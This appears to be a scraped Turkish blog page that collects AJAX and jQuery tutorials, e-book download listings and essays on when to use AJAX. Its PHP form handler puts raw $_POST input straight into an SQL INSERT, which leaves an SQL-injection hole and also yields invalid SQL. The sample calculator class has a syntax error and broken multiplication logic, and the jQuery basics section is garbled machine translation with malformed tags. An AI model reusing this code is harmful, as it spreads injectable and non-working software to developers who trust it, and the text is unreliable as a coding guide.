Reklami Kapat

Ajax

jquery ile resimlerde slow geciş saglama

<html>
<head>
<title>Jquery</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<script type=”text/javascript” src=”jquery.js”></script>
<script type=”text/javascript”>

$(document).ready(function(){

$(‘.renk’).hide(3000);

});
</script>

</head>
<body>

<div><img src=”resim.jpg” /></div>

</body>
</html>
///

not : div  lerin class=”renk”   eklemeyi unutmayın

Buyrun En Çok Kul landığım AJAX Fonksiyonu

Elimde ne varsa sizinle paylaşmaya devam ediyorum. jQuery ve AJAX ile güçlendirdiğim projelerimde en çok kullandığım fonksiyonu sizlere sunmak isterim.

Bu Javascript fonksiyonunun görevi form verilerini bir dosyaya göndermek ve dosyadan gelen cevaba göre işlem yapmak. Yani bildiğiniz AJAX. Müsadenizle önce kodu göstereyim, sonra kısa bir açıklama yapayım.

01.function ekle(){
02.
03. //Form verileri gönderilmek için uygun formata dönüştürülüyor.
04. var sc = $('#yeni_kayit_formu').serialize() ;
05.
06. // #ekleniyor isimli div'de "Yükleniyor..." yazısı yazıyoruz.
07. $('#ekleniyor').html('Yükleniyor...');
08.
09. $.ajax({
10. type: "POST",
11. url: "ekle.php",
12. data: sc,
13. success: function(msg){
14. if (msg=="ok")
15. {
16. //Dosyadan gelen cevap "ok" ise #ekleniyor isimli div'e "Kayıt Eklendi!" yazdırıyoruz.
17. $('#ekleniyor').html("Kayıt Eklendi!");
18. }
19. else
20. {
21. //Dosyadan gelen cevap "ok" değil ise #ekleniyor isimli div'e gelen cevabı yazıyoruz.
22. $('#ekleniyor').html( msg );
23. }
24. }
25. });
26.}

Uygulamanıza jQuery kütüphanesini dahil ettikten sonra bu fonksiyonu kullanarak bir PHP dosyasına veri gönderip gelen cevabı değerlendirebilirsiniz. Veri gönderilen PHP dosyası da şöyle olabilir.

01.<?php
02.include('../../ayar.php');
03.
04.// Eğer ismini yazmamışsa $sonuc değişkeni "ok"'den farklı bir değer alıyor.
05.if ($_POST['isim']=='') $sonuc="Lütfen başlık yazınız.";
06.
07.if (!$sonuc)
08.{
09.$sql = "INSERT INTO kisiler VALUES ($_POST[isim])";
10.mysql_query($sql);
11.
12.// Eğer ismini yazmışsa $sonuc değişkeni "ok" değerini alıyor.
13.$sonuc="ok";
14.}
15.
16.// $sonuc değişkenini gönderiyor.
17.echo $sonuc;
18.

jQuery: Temel Bilgiler

Bu bir, sen jQuery kullanmaya başlamanıza yardımcı olmak için tasarlanmış öğretici temel. Henüz, aşağıdaki içeriği ile yeni bir HTML sayfası oluşturarak başlamak bir test sayfası kurulum yoksa:

<html>
   <head>
     <script type=”text/javascript” src=”jquery.js”> </ script>

     <script type=”text/javascript”>
      
     </ script>
   </ head>
   <body>
     <a href=”http://jquery.com/”> jQuery </ a>
   </ body>
</ html>
Komut etiketinde src özniteliği Düzenle jquery.js kopyanızı işaret edecek. Örneğin, jquery.js HTML dosyası olarak aynı dizinde ise, kullanabilirsiniz:

  <script type=”text/javascript” src=”jquery.js”> </ script>
Not: Tüm sayfa PHP ile bulunur () veya emin olun () fonksiyonu, ihtiyaç içinde <body> etiketini değil içinde bu komut dosyası kodunu koymak dahil <head>, çünkü <head içinden arama jQuery komut dosyası nedense> etiketinin doesnt work.

Sen indirme jQuery sayfasından jQuery kendi kopyasını indirebilirsiniz.

javascript dom ajax proje e-book download indri

View: 193 times, ISBN: 1590598164 Publisher : Apress Author: Frank Zammetti

Practical JavaScript, DOM, and Ajax

Projects is ideal for web developers already experienced in

JavaScript
who want to take their knowledge to the next level. It presents ten complete example projects for you to learn from and adapt for use in your own work. The book starts with a quick recap of the fundamentals of modern

JavaScript
development before moving right along to the applications. For each application, you are taken through the planning, design, and implementation stages. Theres something for everyone herea utility library, a validation framework, a GUI widget framework, a dynamic event calendar application, a drag-and-drop shopping cart, and more! Over the course of the book, author Frank Zammetti covers

JavaScript
best practices, Ajax techniques, and some of the most popular

JavaScript
libraries, such as Prototype, Script.aculo.us, and the Yahoo YUI. One of the main premises of this book is to help you learn by example so you can then apply your knowledge to your own

projects
. This book will save you countless hours of development time and help further your

JavaScript
knowledge! Yazının devamını oku. »

professional ajax e-book

Professional Ajax 2nd Edition provides a developer-level tutorial of Ajax techniques, patterns, and use cases. The book begins by exploring the roots of Ajax, covering how the evolution of the web and new technologies directly led to the development of Ajax techniques. A detailed discussion of how frames, JavaScript, cookies, XML, and XMLHttp requests (XHR) related to Ajax is included. After this introduction, the book moves on to cover the implementation of specific Ajax techniques. Request brokers such as hidden frames, dynamic iframes, and XHR are compared and contrasted, explaining when one method should be used over another. To make this discussion clearer, a brief overview of HTTP requests and responses is included.

ajax ve asp.net e-book download indir

View: 83 times, ISBN: 047178544X Publisher : Wrox Author: Wallace B. McClure, Scott Cate, Paul Glavich, Craig Shoemaker

Ajax has the power to revolutionize the way web-based applications are designed. This book provides you with a thorough working knowledge of what Ajax has to offer and how to take full advantage of it in your application development. Following an exploration of how Ajax works with .NET, you’ll get acquainted with DHTML, the role of JavaScript and the Document Object Model, and the XMLHttpRequest Object, which is the foundation of Ajax. Then you will examine the Ajax-type features built into ASP.NET and explore the Ajax.NET Professional Library in detail. Finally, you will explore client scripting as well as building and using controls with Microsoft’s Atlas. With an entire chapter devoted to debugging, you will have all you need to use this cutting-edge technology. What you will learn from this book * What you can do with the open source Ajax.NET Professional Library * How to use the corresponding functionality, Asynchronous Client Script Callbacks, that comes with ASP.NET 2.0 * Techniques for using the XMLHttpRequest Object to communicate between the client web browser and the server * An overview of XML, XSLT, and other ways to send data between client and server * How to integrate Microsoft’s Atlas with many of the services available in ASP.NET 2.0 Who this book is for This book is for programmers who use ASP.NET and are just starting to use Ajax technologies to create more responsive, modern applications. Wrox Beginning guides are crafted to make learning programming languages and technologies easier than you think, providing a structured, tutorial format that will guide you through all the techniques involved. Yazının devamını oku. »

DWR Java ve AJAX Applications e-book

DWR Java AJAX Applications
DWR Java AJAX Applications
Packt Publishing | 228 Pages | 2008 | ISBN:1847192936 | PDF | 6,85 MB

Yazının devamını oku. »

Flash CS3, AJAX und PHP php ajax e-book indir download

Flash CS3, AJAX und PHP
Flash CS3, AJAX und PHP
Addison-Wesley | 432 Pages | 2007 | ISBN:3827325285 | PDF | 5,16 MB

Yazının devamını oku. »

AJAX Ne Gibi Durumlarda Kullanılmalı?

AJAX, son zamanların en moda tekniği. Modası kolay kolay da geçecek gibi durmuyor. Peki biz web sayfamızda AJAX’i sırf moda olduğu için mi kullanmalıyız? Yoksa gerçekten ona ihtiyacımız olduğu için mi? Evet, AJAX’in bize sunduğu çok güzel faydalar var fakat her şeyde olduğu gibi fazlasına kaçmadığımız sürece … Bu yazıda hangi durumlarda AJAX kullanılmasının faydalı olabileceğini 10 adımda inceleyeceğiniz. Eminim ki yazının sonunda AJAX ile ilgili düşüncelerinizde bir takım değişiklikler olacak ;)

1-) Oylamalarda ve derecelendirmelerde

Bazı sayfalarda kullanıcının, oy vermesi veya derecelendirme yapması gerekmektedir. Örneğin AJAX-TR‘deki yazıların altında bir oylama bölümü var. İmleci bu bölümdeki yıldızların üstüne getirerek, o yazıya 5 üzerinden kaç puan vermek istediğinizi belirtebiliyorsunuz. 5 üzerinden 3 puan vermek istediğinizde imleci 3. yıldızın üzerine getirip tıklıyorsunuz. Ve saniyeler içerisinde oyunuz işleme alınıyor, yeni sonuç aynı yerde gösteriliyor.

Oylama örneği

Bu işlem sayfanın çok küçük bir bölümünde gerçekleşiyor. Belki de %2′lik bir bölümde. Eğer AJAX kullanmasaydık, bu küçücük işlem için sayfanın %98′ini yeniden yükletecektik. Ne kadar vahim bir durum !

2-) Önerilerde ve otomatik tamamlamada

Kullanıcıya ne yapması gerektiği konusunda öneriler sunabilirseniz mükemmel olur. Kullanıcı, öneriler sayesinde çok daha hızlı işlem yapabilir. Öneriler istediğiniz her yerde olabilir. Fakat özellikle giriş (input) alanlarında öneriler sunulması kabul görmüş bir durumdur. Google Suggest servisini hiç denediniz mi? Diyelim ki arama motorunda JavaScript kelimesini aratacaksınız. Siz klavyeden J tuşuna basar basmaz size öneriler listesi gösterilecektir. Bu listeden aratmak istediğiniz kelimeye ve o kelimeyle ilgili diğer kelime öbeklerine hızlıca erişebiliyorsunuz. Bu yönteme as you type (yazdıkça) ismi veriliyor. Aynı yöntemi Windows Vista’nın arama kutularında da görebilirsiniz :)

Google Suggest örneği

3-) Form verilerinin doğrulanmasında

Form girişleri, bir web sayfasında en çok dikkat edilmesi gereken yerlerdir. Çünkü kullanıcının form girişine ne yazacağını asla bilemezsiniz. Fakat girilen değerlerin geçersiz olup olmadığını kontrol edebilirsiniz. Form girişlerini kontrol edebilmek için çeşitli yöntemler mevcuttur. Bu yöntemleri AJAX-TR yazarlarından Erhan YAKUT’un Javascript, Ajax ve PHP İle Form Kontrolü başlıklı yazısında ayrıntılı bir şekilde bulabilirsiniz. AJAX, form verilerinin doğrulanmasında oldukça kullanışlı bir yöntemdir. Örneğin şu sayfadaki formu test edebilirsiniz.

Form Doğrulama Örneği

4-) Yerinde düzenleme (Edit in Place) işleminde

Diyelim ki veritabanından aldığınız verileri bir tabloda listeletiyorsunuz. Listedeki bir değerin yanlış olduğunu gördünüz ve güncellemeniz gerekiyor. Klâsik yöntemde, ayrıca bir güncelleme formu oluşturmanız gerekecekti. Bu forma güncellemek istediğiniz değerin bilgilerini yeniden yükletecektiniz. Değerleri düzenledikten sonra “Güncelle” butonuna tıklayıp değişikliği veritabanına geri kaydedecektiniz. Fakat AJAX ile bu külfete katlanmak zorunda değilsiniz. Güncellemek istediğiniz değerin üstüne çift tıklarsınız, yeni değeri yazarsınız ve Enter tuşuna bastığınızda veya imleci başka bir noktaya taşıdığınızda yaptığınız değişiklik veritabanına anında kaydedilir. Kısacası değeri, yerinde düzenlemiş olursunuz. Bu işleme Edit in Place adı verilmektedir. Kendiniz tecrübe etmek isterseniz şu sayfayı ziyaret edebilirsiniz.

Yerinde Düzenleme (Edit in Place) Örneği

5-) Sekmeli menülerde

Microlink, detayların tek bir tıkla erişilebildiği durumlarda kullanılan bir yöntemin adıdır. En bilindik microlink yöntemi de sekmeli menülerdir. Sekmeli menüler çok eskiden beri kullanılsalar da özellikle AJAX ile kendilerine daha da önemli bir yer edindiler. Eski yöntemde, kaç tane sekme varsa hepsinin içeriğini sayfa yüklenirken hafızaya atarsınız. Daha sonra javascript ile sekmeler arasında geçiş yaparsınız. AJAX ile hem tüm içeriği yükletmek zorunda kalmıyorsunuz hem de veritabanından içerik yükletme gibi avantaja da sahip oluyorsunuz. Örnek bir sekmeli menüye şu sayfadan erişebilirsiniz.

Sekmeli Menü Örneği

6-) Dinamik formlarda

Yine bir form örneği üzerinde duracağız. Formdaki bir alanı değiştirince ilişkili ek alanların çıktığı formlara live form (dinamik form) ismini veriyoruz. En bilindik uygulamardan birisi de ülke-şehir ilişkisidir. Önce yaşadığınız ülkeyi seçersiniz, daha sonra da seçtiğiniz ülkeye bağlı şehirler listelenir. AJAX-TR yazarlarından Onur’un yapmış olduğu örnek bir dinamik forma şu sayfadan erişebilirsiniz.

Dinamik Form Örneği

7-) Dinamik aramalarda

Eski yöntemlerle arama yapmak, uzun süren bir işlemdir. Bulmak istediğiniz kelimeyi yazarsınız, “Ara” butonuna tıklarsınız. Arama işlemi bittiğinde sonuçlar yeni bir sayfada listelenir. Eğer ki istediğiniz sonuçlar çıkmazsa aynı uzun süreci tekrarlamak zorunda kalırsınız. Fakat AJAX ile bu süre minimuma indirilebilir. 2 nolu maddede açıkladığım “as you type (yazdıkça)” yöntemini arama işlemlerinde de kullanabiliriz. Bulmak istediğiniz kelimenin harflerini yazdıkça, sonuçlar alt tarafta dinamik olarak listelenmeye başlayacaktır. Örnek bir uygulamayı şu sayfada görebilirsiniz.

Dinamik Arama Örneği

8-) Verileri filtrelemede

Özellikle tablolar ile listelenen verilerin filtrelenmesinde AJAX kullanmak bize büyük avantajlar sağlar. Tablodaki alanları A’dan Z’ye veya Z’den A’ya sıralamanın yanında, 2003-2005 yılları arasındaki kayıtları göstermek gibi filtrelemeleri AJAX ile tüm sayfayı yeni baştan yüklemeden yapabilirsiniz. Bu konuda tam olarak güzel bir örnek bulamasam da şu sayfadaki filtreleme örneğini tavsiye edebilirim ;)

Filtreme Örneği

9-) Büyük resimleri veya haritaları kaydırmada

Bu madde için verilebilecek en iyi örneklerden birisi hiç şüphesiz Google Maps. Fareniz ile haritayı kaydırarak görmek istediğiniz bölümün yüklenmesini sağlarsınız. Haritanın sadece gerekli olan kısmı yüklenmiş olur. AJAX ile resim kaydırma konusunda bir başka etkileyici örneği ise şu sayfada bulabilirsiniz.

Resim Kaydırma Örneği

10-) Sohbet (chat) uygulamalarında

Web sayfanıza ekleyeceğiniz bir sohbet kutusu sayesinde ziyaretçilerinizle karşılıklı konuşabilirsiniz. Örneğin bir alış-veriş sitesinde alıcı tam ödeme yaparken bir şey sormak istedi. Sohbet kutusunu kullanarak satıcıyla anında görüşme yapabilmesi hoş olmaz mı? Eskiden web sayfamıza sohbet kutusu eklemek için çoğunlukla frame’lerden faydalanırdık. Mesajların görüntülendiği çerçeveyi de sürekli refresh etmek (yenilemek) zorunda kalırdık. Ziyaretçi de bu refresh işlemini görürdü. Rahatsızlık veren bir durumdu. Fakat AJAX, web tabanlı sohbet uygulamalarında oldukça avantaj sağlayan bir teknik. AJAX ile hazırlanmış örnek bir sohbet uygulamasını şu sayfada bulabilirsiniz.

Örnek bir sohbet (chat) uygulaması

Sonuç

AJAX’i Anlamak başlıklı yazımda AJAX’in dezavantajlarından bahsetmiştim. Eğer burada anlattığım uygulamaların dışına çıkmazsanız, bahsettiğim dezavantajlardan minimum şekilde etkilenirsiniz. Ben burada yalnızca 10 adet madde listeledim. Elbette sayı daha çok arttırılabilir. Sizin de aklınızda “AJAX şurada kullanılırsa iyi olur” dediğiniz durumlar varsa lütfen yorum bölümüne ekleyin.

Bir diğer konu ise maalesef web sayfasının neredeyse %70′lik bir bölümünü her tıklamada AJAX ile yükletenlerin olması. Bu kişiler hem arama motorlarından faydalanamıyorlar hem de bant genişliğinden normalde elde edecekleri kârın çok ama çok azını elde ediyorlar. Lütfen, sırf web sitenizde AJAX kullanmış olmak için AJAX kullanmayın! Eğer gerçekten ona ihtiyacınız varsa kullanın. Kullanmadan önce de “bana ne kadar fayda sağlayabilir ” şeklinde kendinizi sorgulayın.

Bir sonraki yazıda görüşmek üzere …

http://ajax-tr.com/ajax-ne-gibi-durumlarda-kullanilmali/

Kaynaklar


AJAX Dersleri AJAX’i Anlamak

Geride bıraktığımız 2005-2006 yıllarında hakkında en çok konuşulan web olaylarından birisi AJAX oldu. Dünya çapında ün sahibi olmuş sitelerin kendi servislerinde AJAX isimli tekniği etkin bir şekilde kullanması sonucu pek çok kişinin dikkati AJAX üzerine yoğunlaştı. Fakat kişilerin yaptığı ilk yanlış, AJAX tekniğini başlı başına yeni bir programlama dili olarak görmeleriydi. AJAX tekniği, daha önceden zaten var olan JavaScript ve XML dillerinin, web tarayıcısında hazır bulunan XmlHttpRequest nesnesi etrafında birlikte kullanılmasından ibarettir. AJAX’ı böyle tanıtınca çok zor ve kompleks gibi görünüyor fakat gözünüz korkmasın, hiç de öyle değil ;)

AJAX terimi, Asynchronous JavaScript And XML kelimelerinin baş harflerinden türetilmiştir. Bu terim ilk kez 2005 yılında “Jesse James Garrett” tarafından kullanılmıştır. Dilimizdeki telaffuzu da eyceks şeklindedir. Şimdi işin hikâye kısmını bir kenara bırakalım ve neden AJAX sorusuna cevap arayalım.

Neden AJAX?

Bu soruya yanıt bulmak için alttaki web sayfası şablonunu ele alalım. Alican kardeşimiz kendine bir web sayfası hazırlamış. B bölgesine linkler yerleştirmiş. “Resimler” linkine tıkladığımızda C bölgesinde Alican’ın resimlerini görüyoruz. Fakat Alican’ın resimlerini görebilmek için A, B, C ve D bölgelerinin, diğer bir değişle bütün sayfanın yeniden yüklenmesini bekliyoruz.

resim1.png

Ziyaretçilerin tek bir amacı vardır: Görmek istedikleri içeriğe en hızlı bir şekilde ulaşmak. Örneğimizde B bölgesindeki bir linke tıklayıp, C bölgesine Alican’ın resimlerinin gelmesini bekliyoruz. Bizi ilgilendiren tek birşey var o da C bölgesinde resimleri görebilmek. O esnada A, B ve D bölgeleri bizi ilgilendirmiyor. O halde bizi ilgilendirmeyen bölgelerin yüklenmesini neden bekleyelim ki?

Amacımız C bölgesini en kısa sürede yükletmek. Bunun için FRAME veya IFRAME adı verilen HTML etiketleri veya Flash gibi alternatif yöntemler de kullanılabilir fakat AJAX son zamanlarda ikisinin de yerini almış durumda.

AJAX tekniği ile web tarayıcıya yalnızca C bölgesinin yenilenmesini belirtiyoruz. Web tarayıcımız bizden bu talebi aldıktan sonra, Alican’ın resimlerinin bulunduğu sayfa ile etkileşime geçiyor. Resimlerin olduğu sayfa hazırlanıyor ve C bölgesine yükletiliyor. Bu esnada kesinlikle A, B ve D bölgeleri yeniden yüklenmiyor ve sabit kalıyor.

AJAX’in Avantajı Nedir?

Öncelikle bir web geliştiricisi iseniz HTML, JavaScript, DOM, CSS bilginiz zaten var demektir. En azından bu konuları mutlaka duymuşsunuzdur. AJAX tekniği, saydığımız bu konuları kapsadığı için yeni baştan bir dil öğrenmek zorunda değilsiniz. Sadece 5-10 dakikanızı ayırarak AJAX tekniğinin nasıl kullanıldığını öğrenmeniz mümkündür.

Web sayfasının yalnızca yüklenmesi gereken bölgeleri yükletildiği için AJAX web uygulamanıza hız sağlayacaktır. Hatta ziyaretçiniz, bir masaüstü uygulaması kullanıyormuş hissine bile kapılabilir. Bu yüzden AJAX ile web uygulamaları, masaüstü uygulamalarına biraz daha yaklaşmıştır.

Bant genişliği, bir saniyede aktarılan bit sayısı olarak bilinir. Bir web siteniz varsa ve bunu ücret karşılığı web hosting veren bir şirketten alıyorsanız bant genişliği sizin için önemlidir. Kullanıcı sayfayı her yenilediğinde yani talep ettiğinde bant genişliğiniz azalır. Eğer bu azalmayı en aza indirirseniz aynı para karşılığında çok daha uzun bir süre bant genişliğiniz kullanıma açık olur. Bu konuda AJAX size mükemmel bir avantaj sağlar. Artık sayfanızın gereksiz bölgeleri her işlemde yeniden yüklenmeyeceği için bant genişliğinden büyük miktarda kâr sağlamış olursunuz.

AJAX’in Dezavantajı Var mı?

Elbette AJAX de bazı dezavantajlara sahiptir fakat büyük şirketlerin ve önemli programcıların, AJAX’i geliştirme çabaları sonucunda pek çok sevimsiz durumun ortadan kalkacağını umuyoruz. Örneğin bir geri-ileri butonu sorunu mevcuttur. Gezdiğiniz sayfadan, bir önceki sayfaya gitmek istediğinizde web tarayıcınızın geri butonuna tıklarsınız. Fakat AJAX ile içeriğini yüklettiğiniz bölgelerde geri ve ileri butonunu kullanamıyorsunuz. Her ne kadar bu problem için ek yöntemler getirildiyse de tam olarak bir çözüm bulunamadı.

Bir diğer dezavantajı ise, eskiden sunucuların yapmış oldukları bazı işlemlerin kullanıcının bilgisayarına kaymasıdır. JavaScript, kullanıcının kendi bilgisayarında yorumlanan bir dildir. AJAX’in büyük bir kısmında JavaScript kullanıldığı için bilgisayarınızın, siz web sayfalarında gezinirken yapması gereken işlemler de artmıştır. Bu da yavaş olan pek çok bilgisayarın daha da yavaşlaması anlamına gelebilir.

AJAX ile yükletilen içeriğin kodlarını, sayfanın kaynak bölümünden göremezsiniz. Aynı zamanda Google ve Yahoo! gibi arama motorlarının web sayfanıza gönderdiği robot yazılımlar da göremez. Dolayısıyla AJAX ile oluşturulan içerik, arama motorlarının sonuç sayfalarında listelenmezler. Günümüzde, yaptığınız web sayfasının arama motorlarında görüntülenmesi kritik derecede önemlidir ve AJAX bu konuda size bir dezavantaj sağlar. Fakat bu durumun avantaja dönüştüğü yerler de vardır. Eğer yapmış olduğunuz web uygulaması, ziyaretçileriniz hakkında önemli kişisel bilgileri tutuyorsa bu bilgilerin arama motorlarında herkes tarafından görüntülenmesini asla istemezsiniz. Bu bilgileri AJAX ile yüklettiğinizde ise kaygılandığınız bu durum ortadan kalkabilir.

AJAX’i Kimler Kullanıyor?

En başta Google, pek çok servisinde AJAX tekniğini kullanmaktadır. Microsoft da bu tekniği kullanan pek çok servis hazırlamıştır. Yahoo! da diğerlerinden geri kalmamış, bu etkileyici tekniği kendi servislerine entegre etmiştir. Gördüğünüz gibi web alanındaki en büyük şirketler yoğun bir şekilde AJAX tekniğini kullanmaktadırlar. Ayrıca kendilerinden oldukça bahsettiren YouTube, Flickr ve Del.icio.us siteleri de AJAX tekniğini kullanan önemli web uygulamalarıdır.

Örnek olması açısından kısa bir liste hazırladım. Bu listedeki sitelere mutlaka gözatın. AJAX’in neler yapabileceğini görmeniz açısından, bu web sitelerini incelemeniz önerilir.

  • Meebo (anında mesajlaşma uygulaması)
  • Netvibes (belirlediğiniz sitelerden toplanan bilgileri tek bir sayfada gösterir)
  • EyeOS (işletim sistemi emülasyonu)
  • Box.net (dosya depolama ve paylaşma servisi)
  • AjaxWhois (whois sorgulama)

AJAX’i Ben Nasıl Kullanabilirim?

AJAX için bilgisayarınıza herhangi bir ek yazılım kurmazsınız. JavaScript dilini ve web tarayısında bulunan XmlHttpRequest nesnesinin nasıl kullanıldığını bilmeniz yeterlidir. XML dili ise ilk başta şart değildir. Kodlamayı Windows’un not defterinde dahi yapabilirsiniz fakat size önerim Notepad2 olacaktır. Çünkü Notepad2 programında kod renklendirme, kod bloklarının başlangıç ve bitiş noktalarını kolayca görebilme gibi güzel özellikler mevcut.

Artık AJAX tekniğinin farkına vardıysanız ve neden kullanıldığını anlayabildiyseniz şimdi onu kullanma sırası size gelmiş demektir. Önümüzdeki yazılarda bu tekniği daha yakından inceleyeceğiz ve kod yazarak nasıl kullanıldığını adım adım öğreneceğiz. Ne kadar kolay olduğunu kendiniz bir kere daha göreceksiniz. Bir sonraki yazıda görüşmek üzere …

http://ajax-tr.com/ajaxi-anlamak/

ajax ve php ile proje yönetimi

avaScript, DOM ve XMLHttpRequest teknolojisinin kombinasyonu sayesinde sunucu ile kullanıcı arasında dinamik etkileşimler kurulmasını sağlayan bir Ağ tekniği olmakla beraber; yeni bir programlama dili değildir.

Bu makalede size PHP, Ajax ve veritabanı olarak MySQL altyapısını kullanarak dinamik bir Ağ uygulamasını nasıl geliştireceğinizi, hepsinin ötesinde; bunu komple bir proje olarak ele alıp, ufak ölçekli bir projenin başından sonuna kadar nasıl hayata geçirileceğini adım adım anlatacağım.

I. Başlarken

  1. Proje geliştirmek, ama nasıl?
  2. Hazır sınıflar ve kullanımı

II. Kod adı: nMembership

  1. Macromedia® Dreamweaver 8®, Yeni site oluşturmak
  2. Dosya ve klasör yerleşimi
  3. MySQL™ 5.0 ile veritabanı oluşturmak ve ezSQL

III. Klasörler yavaş yavaş dolarken…

  1. Peki ne yapacağız bilen var mı?
  2. Herşeyden önce altyapı
  3. Prototype’im benim
  4. Kendi sınıfını kendin yaz
  5. Ortaya yeşillik: Ajax

IV. Daha dinamik, daha estetik

  1. Efektler, efektler…
  2. Küçük detaylar

V. Kaynaklar, tavsiyeler

  1. İndirme kaynakları
  2. Bunları okuyun

Proje geliştirmek, ama nasıl?

Yapılan araştırmalara göre günümüzde Ağ uygulamalarının %40 gibi bir oranı PHP dilini kullanıyor. Web 2.0 ile birlikte patlama yaşayan uygulamalar içindeki oranı ise hemen hemen %80 civarında. Her ne kadar Ajax işin içine katıldığında Ruby ile kıyasıya bir rekabet içerisinde olsa da, uygulama geliştiriciler için PHP halen popüler bir ortam.

Bir uygulamayı dağınık kod ve dosya yapıları ile geliştirmek; test aşamasında meydana gelebilecek aksaklıkları gidermek ve proje sonunda doğabilecek artı istekleri gerçekleştirmek açısından geliştirici için oldukça büyük sıkıntılar doğurur. Bunun yerine bir disiplin içerisindeki kişisel standartlarla, kendi çizdiğimiz prosedürlerle hareket etmek, her zaman için daha iyi verim almamızı ve problem tespiti/giderme işlemlerinde sürate olanak sağlar.

elbette zorlu bir parkurun eşiğinde olabilirsiniz. Fakat bu makalenin esas amacının, size bu yeteneği ve mantık yapısını kazandırmak olduğunu bilmenizi istiyorum. Dilerseniz kaynaklar bölümünde bunu sizin için daha önceden yapmış arkadaşların Framework (Uygulama geliştirme ortamı, O.K.)’lerini bulabilirsiniz. Ama burda kendi ortamımızı yaratıp, bir standardizasyon sağlamaya çalışacağız.

Hazır sınıflar ve kullanımı

Her ne kadar kendi ortamımızı yaratacağız derken, “yazılmışı var ama biz niye yazmıyoruz” edalarıyla hava atmaya çalışsam da, Kuzey Buz Denizi’ni yeniden keşfetmeye gerek yok sanırım. Tabiki iyi yazılmış sınıfları yerinde ve uygun ölçüleriyle kullanmak her zaman için iyi olacaktır.

PHP sınıflarını aramak için benim takip ettiğim yegane site şu an için PHPClasses.org. Üye olduğunuz taktirde her gün siteye yeni eklenen sınıflar hakkındaki kısa bilgilieri e-posta adresinize göndermekten üşenmiyorlar. Prototype ise JavaScript kütüphaneleri içerisinde en gelişmiş ve en popüler olanı. Kullanımını anlatan kaynak sıkıntısına ise Sergio Pereira, Developer Notes for prototype.js başlıklı makalesinde oldukça güzel bir çözüm getirmiş.

Hazır PHP sınıflarının kullanımı, sınıfın özelliklerine ve kullanım alanına göre değişmektedir. Sınıf yazımında ortak bir yazım standardı uygulanamayacağı için geliştiriciler sınıf dosyalarıyla beraber sınıfın nasıl kullanılacağını anlatan bir/birkaç örnek uygulamayı da sunmaktalar.

Üstünkörü tarif etmektense ufak (?) bir sınıf yazıp bunu nasıl kullandığımızı, örneklerle açıklamak istiyorum. Aşağıda görebileceğiniz ornek_sinif adındaki sınıfımız içinde dört adet fonksiyon bulunuyor. Bunlar; sınıfın içindeki genel değişkenleri, sabitleri vs. belirleyen ornek_sinif(), toplama işlemini gerçekleştiren topla(), çarpma işlemini gerçekleştiren carp() ve tüm fonksiyonları bir arada kullanabilmemizi sağlayan islem() adlı fonksiyonlarımız. Tüm fonksiyonlarımız argümanlarını array (dizi değişkeni) olarak alıyor. Bu nedenle toplama, çarpma ve toplu hesap işleminde herhangi bir rakam kısıtlaması yok. Önce fonksiyona göz atın ve ardından bu sınıfımızı nasıl kullanacağımıza bakalım.

PHP:

  1. class ornek_sinif {
  2. var $hesaplayan;
  3. function ornek_sinif()
  4. {
  5. $this->hesaplayan = “Onur Köse”;
  6. }
  7. function carp($rakamlar)
  8. {
  9. $carpma_sonuc = 0;
  10. $sayac = 0;
  11. if ( !is_array($rakamlar) )
  12. return 0;
  13. foreach ( $rakamlar as $rakam )
  14. {
  15. $carp_cache = 0;
  16. if ( $sayac == 0 )
  17. {
  18. $carpma_sonuc = $rakam;
  19. $sayac = 1;
  20. }
  21. elseif ( $sayac == 1 )
  22. {
  23. $carp_cache$carpma_sonuc * $rakam;
  24. $carpma_sonuc = 0;
  25. }
  26. $carpma_sonuc += $carp_cache;
  27. }
  28. return $carpma_sonuc;
  29. }
  30. function topla($rakamlar)
  31. {
  32. $toplama_sonuc = 0;
  33. if ( !is_array($rakamlar) )
  34. return $toplama_sonuc;
  35. foreach ( $rakamlar as $rakam )
  36. $toplama_sonuc += $rakam;
  37. return $toplama_sonuc;
  38. }
  39. function islem($degerler)
  40. {
  41. $islem_sonuc = 0;
  42. if ( !is_array($degerler) )
  43. return $islem_sonuc;
  44. for ( $i = 0; $i <count($degerler[islemler]); $i++ )
  45. switch ( $degerler[islemler][$i] )
  46. {
  47. case “topla”:
  48. $islem_sonuc += $this->topla($degerler[rakamlar][$i]);
  49. break;
  50. case “carp”:
  51. $islem_sonuc += $this->carp($degerler[rakamlar][$i]);
  52. break;
  53. }
  54. $islem_sonuc = “Hesaplayan: “.$this->hesaplayan.\nSonuç: “.$islem_sonuc;
  55. return $islem_sonuc;
  56. }
  57. }

Bir sınıfı kullanmak için öncelikle sınıfı bir nesne olarak ele almalıyız.

$hesapla = new ornek_sinif();

Artık $hesapla adlı değişkenimizi ornek_sinif() nesnesine eşitledikten sonra sınıfımıza ait fonksiyonları $hesapla değişkeni üzerinden kullanabiliriz. Örnek olarak bir toplama işlemini;

echo $hesapla->topla( array(5, 5, 3, 4, 6) );

şeklinde hesaplattıktan sonra ekranda elde edeceğimiz çıktı (5+5+3+4+6) 23 olacaktır. Bir çarpma işlemi yaptırmak istersek;

echo $hesapla->carp( array(5, 5, 2, 2) );

ile ekrana (5×5x2×2) 100 yazdıracağız. Hepsinin sonunda tek bir satırda tüm işlemleri istediğimiz kadar kullanmamızı sağlayan islem() fonksiyonunu ise şu şekilde kullanabiliriz -çok dizi değişkeni kullanıldığından açarak yazıyorum-;

PHP:

  1. echo $hesapla->islem(
  2. “islemler”=>array(
  3. “topla”, “carp”
  4. ),
  5. “rakamlar”=>array(
  6. array(5, 5, 3, 4, 6),
  7. array(5, 5, 2, 2)
  8. )
  9. )
  10. );

Gördüğünüz üzere hazır sınıflar, nasıl kullanılacakları anlatıldığı taktirde oldukça basit ve kullanışlıdır

http://ajax-tr.com/ajax-ve-php-ile-komple-proje-yonetimi-bolum-1/

Ajax Control Toolkit Kullanarak update Progress Yapmak

AJAX Eklentileri İle Kullanıcı Taraflı Web Servisi Çağırma II

AJAX Eklentileri İle Kullanıcı Taraflı Web Servisi Çağırma II

Ajax Güvenliği !

Ajax Güvenliği !
Ajax Güvenliği: Dirt’den daha kuvvetli?

Ajax’ın güvenlik içeriğine bir bakış

Ajax; daha zengin özellikli , eşzamanlı olmayan programların gelişimine, izin verir, fakat bunu yaparken de yeni saldırılara yeni olasılıklar yaratır. İlgili güvenlik konularına ve onların olası çözümlerine bakacağız.

